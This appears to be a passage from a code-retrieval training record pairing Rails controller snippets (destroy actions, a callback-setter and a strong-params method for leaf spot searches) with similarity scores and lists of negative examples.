"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search.destroy\n respond_to do |format|\n format.html { redirect_to searches_url, notice: 'Search was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_query.destroy\n respond_to do |format|\n format.html { redirect_to saved_queries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flightsearch.destroy\n respond_to do |format|\n format.html { redirect_to flightsearches_url, notice: 'Flightsearch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @id = params[:id]\n @offset = (params[:offset] || \"-1\").to_i\n @mode = params[:deleteMode]\n @document.delete_annotation(@mode, @id, @offset, params[:type], params[:concept])\n @entity_types = EntityType.where(collection_id: @document.collection_id)\n\n # @annotation.destroy\n respond_to do |format|\n format.html { redirect_to @document, notice: 'The annotation was successfully deleted.' }\n format.json { render :show, status: :ok, location: @annotation }\n end\n end",
"def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @hjump2.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: 'Eliminado exitosamente' ) }\n format.json { head :no_content }\n end\n end",
"def delete\n RecordsSearch.where(search_id:self[:id]).delete\n super\n end",
"def destroy\n @sport_keyword.destroy\n respond_to do |format|\n format.html { redirect_to sport_keywords_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @searchstatus = Searchstatus.find(params[:id])\n @searchstatus.destroy\n\n respond_to do |format|\n format.html { redirect_to searchstatuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n n = Node.find_key(params[:id] || params[:name])\n render api_delete Node\n end",
"def destroy\n @tree.destroy\n respond_to do |format|\n format.html { redirect_to trees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tree.destroy\n respond_to do |format|\n format.html { redirect_to trees_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @highlight.destroy\n respond_to do |format|\n format.html { redirect_to highlights_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxon = Taxon.find(params[:id])\n @taxon.destroy\n\n respond_to do |format|\n format.html { redirect_to taxons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @search_entities = SearchEntities.find(params[:id])\n @search_entities.destroy\n\n respond_to do |format|\n format.html { redirect_to(search_entities_url) }\n format.xml { head :ok }\n end \n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n\n end",
"def destroy\n @lsa_test_word = LsaTestWord.find(params[:id])\n @lsa_test_word.destroy\n\n respond_to do |format|\n format.html { redirect_to lsa_test_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobsearch = Jobsearch.find(params[:id])\n @jobsearch.destroy\n\n respond_to do |format|\n format.html { redirect_to jobsearches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @top_standing_entry.destroy\n respond_to do |format|\n format.html { redirect_to top_standing_entries_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6636038",
"0.6626745",
"0.6483126",
"0.6445629",
"0.6438108",
"0.6425712",
"0.64251727",
"0.6358157",
"0.63345337",
"0.63231456",
"0.6321574",
"0.6321574",
"0.6321574",
"0.6321574",
"0.6321574",
"0.6316388",
"0.6258293",
"0.6256212",
"0.62497807",
"0.6242029",
"0.6236143",
"0.6228785",
"0.61915904",
"0.61811763",
"0.61588246",
"0.6154661",
"0.6148309",
"0.61344737",
"0.6121304",
"0.6117512",
"0.61088735",
"0.6106392",
"0.60994005",
"0.60994005",
"0.60994005",
"0.60994005",
"0.60919285",
"0.60469204",
"0.6045982",
"0.60438406",
"0.6038864",
"0.60363024",
"0.6022875",
"0.60128623",
"0.6012102",
"0.6008424",
"0.6006899",
"0.6003697",
"0.6003212",
"0.59837186",
"0.5967202",
"0.596323",
"0.5962607",
"0.59618884",
"0.59556085",
"0.59450907",
"0.59419155",
"0.5938601",
"0.5933786",
"0.5929939",
"0.5928007",
"0.59224075",
"0.5921614",
"0.5921614",
"0.5919673",
"0.5914203",
"0.5914042",
"0.5901524",
"0.5895271",
"0.58946943",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5894288",
"0.5890508",
"0.5889477",
"0.58886427",
"0.58858377",
"0.58784807",
"0.58781755",
"0.58719915",
"0.5869809",
"0.5863878",
"0.58633345",
"0.58573043",
"0.5853974",
"0.5853974",
"0.5853463",
"0.5849989",
"0.58463275",
"0.5844445",
"0.5843751",
"0.58419234",
"0.5841358",
"0.58412987"
] |
0.7589751
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_leaf_spot_imm_search
@leaf_spot_imm_search = LeafSpotImmSearch.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def call\n setup_context\n super\n end"
] |
[
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
"0.5312988",
"0.529798",
"0.52968603",
"0.52962637",
"0.52577317",
"0.5244704",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5233461",
"0.52322435",
"0.5227552",
"0.52224743",
"0.5217851",
"0.521241",
"0.52069896",
"0.5206555",
"0.5176617",
"0.51738507",
"0.51725876",
"0.51660734",
"0.51605034",
"0.51571786",
"0.5152762",
"0.5152164",
"0.5151477",
"0.5145819",
"0.51408994",
"0.5134412",
"0.5114031",
"0.5113695",
"0.5113695",
"0.5108603",
"0.5107358",
"0.5090405",
"0.50889385",
"0.50817686",
"0.5081617",
"0.50658226",
"0.50551206",
"0.5051746",
"0.5049091",
"0.5049091",
"0.5034681",
"0.5024972",
"0.5021291",
"0.5016024",
"0.50134826",
"0.50008893",
"0.50000244",
"0.4999155",
"0.49907947",
"0.49907947",
"0.49853387",
"0.49796683",
"0.4979596",
"0.49778128",
"0.49673793",
"0.49662578",
"0.49587822",
"0.4956063",
"0.49550167",
"0.49523485",
"0.4951614",
"0.49452996",
"0.49442068",
"0.49336892",
"0.49306205",
"0.49264124",
"0.49259305",
"0.4925823",
"0.49229056",
"0.4918999",
"0.49171805",
"0.49167436",
"0.4916559",
"0.49153692",
"0.49148256"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def leaf_spot_imm_search_params
params.require(:leaf_spot_imm_search).permit(:search_id, :leaf_spot_imm_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.6292164",
"0.62917984",
"0.62836355",
"0.6242686",
"0.6241917",
"0.62210834",
"0.6214862",
"0.62125784",
"0.619428",
"0.617912",
"0.617705",
"0.61735916",
"0.6163706",
"0.61532795",
"0.6152666",
"0.6148062",
"0.6123372",
"0.61180484",
"0.61088324",
"0.6106139",
"0.60925204",
"0.608326",
"0.60711503",
"0.606551",
"0.60216546",
"0.6018924",
"0.6015004",
"0.60106766",
"0.6008301",
"0.6008301",
"0.60028726",
"0.60020626",
"0.5999236",
"0.59931505",
"0.5993037",
"0.59917194",
"0.5982164",
